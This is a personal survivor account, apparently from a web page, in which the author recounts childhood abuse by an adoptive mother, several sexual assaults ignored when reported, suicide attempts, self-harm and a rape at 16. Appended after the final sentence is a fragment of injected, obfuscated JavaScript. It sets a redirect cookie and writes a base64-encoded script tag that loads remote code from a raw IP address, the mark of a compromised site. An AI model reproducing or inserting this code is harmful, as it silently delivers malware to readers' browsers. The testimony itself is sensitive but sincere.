My life started back in 1970. I was around 6 months old when my siblings and I were taken away from our birth-mom, due to abuse and neglect. My twin brother and I were placed into foster care together. I am still having problems remembering that part of my abuse, but I do know at the age of 2-3 years I had an out of body experience. I can picture it clearly in my head. I was adopted at the age of 5 by a women and a man who were not able to have their own children. Things seemed to be better as far as abuse went. I would do whatever my mom wanted and I never asked twice. I owed her for adopting me and my brother together since he was my only biological family I knew.

Even though I loved to wash her hair, bring her home flowers, and just try to be the best daughter I could, she felt the need to hit me until I fell down and proceeded to kick. One time she broke a wooden spoon on my back and then took us out for ice cream, because she felt bad. From that day forward I never cried because that would show a sign of weakness. She couldn’t break my spirit. Later when I was around 6 years old, my parents went out and had my cousin babysit us. They left and a few minutes later I was looking around for him, he was 17-18 years old at that time. I went up the stairs and looked in the bathroom since the door was open, he was laying in the bathtub taking a bath. I went to leave and he said to wait and watch. I did as I was told, I stayed there and watched as he masturbated in the water, I was scared and didn’t know what was happening. Later we were all crawling around naked still no idea why but that may or may not come back into my mind. I told my mom what happened and she talked to her sister, the cousin’s mom, well nothing was done about it. This showed me that she didn’t care what happened to me.

About a year later I was swimming down at the beach but I couldn’t swim yet. This man came up to me from behind and started tickling me in places were I know it wasn’t right. I tried to get away but I couldn’t. Every time I went a little further away he would pull me into deeper water to where I thought I was going to drown so I had no choice but to grab on to him for dear life. Again I went and told my mom and again nothing happened. A few months later I played with this boy, a neighbor’s grandson. I went over to see if the boy could come out and play; the grandfather told me to come in and wait. I went in and then realized my friend wasn’t there. I went to leave but the grandfather stood in front of the door and wouldn’t let me out. He came over to me and French kissed me while he put his hand in my pants and felt me. He reached for my hand and made me promise not to tell anyone, I said OK. I ran home and told my mom, hmmm nothing was done. Once again she shut me down.

There was no more abuse for a few years. I was really suffering from lack of trust, no self-worth,no self-esteem, I was living but in a shell. At the age of 9 I tried to take my life twice and by the age of 15 I was beginning to drink and smoke in school. I didn’t have a care in the world if I got caught. I would come home from school and masturbate to the point were it was strictly for the pain; to see if I could feel pain and not just be numb all the time. Well I was able to control most of these things because I have a very strong will power.

When I was 14 I had a guy whom I admired and liked. He asked if I wanted to meet him after school which I agreed to; just him asking me meant that he cared for me and was it possible that someone liked me? Well I got there and the first thing he did was French kiss me and put his hand down my pants, wow this sounds familiar! When he put his fingers inside I disassociated myself, which was normal for me to do. When I feel pain I go somewhere else. When I came to I was on the ground; not exactly sure what had happened. I went home and didn’t bother telling my mom what had happened it was my secret. I went and met him so it was my fault, shame on me. At age 16 I met another guy whom I thought was nice looking and I hung out with him for a few weeks. There was nothing to do with kissing or touching, to me a great relationship. He invited me to his party. I felt honored. As soon as I got there, he pulled me by the arm into his bedroom and proceeded to rape me. I just froze, God if I had only fought. I didn’t know how to say no nicely.

I was so messed up in my head, people who I trusted had turned their backs on me my whole 16 years. Things have gotten better for me now as I realize that it was not my fault. 38 years later I finally see it for what it is and what it was, ABUSE. Thank you for letting my voice be heard. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘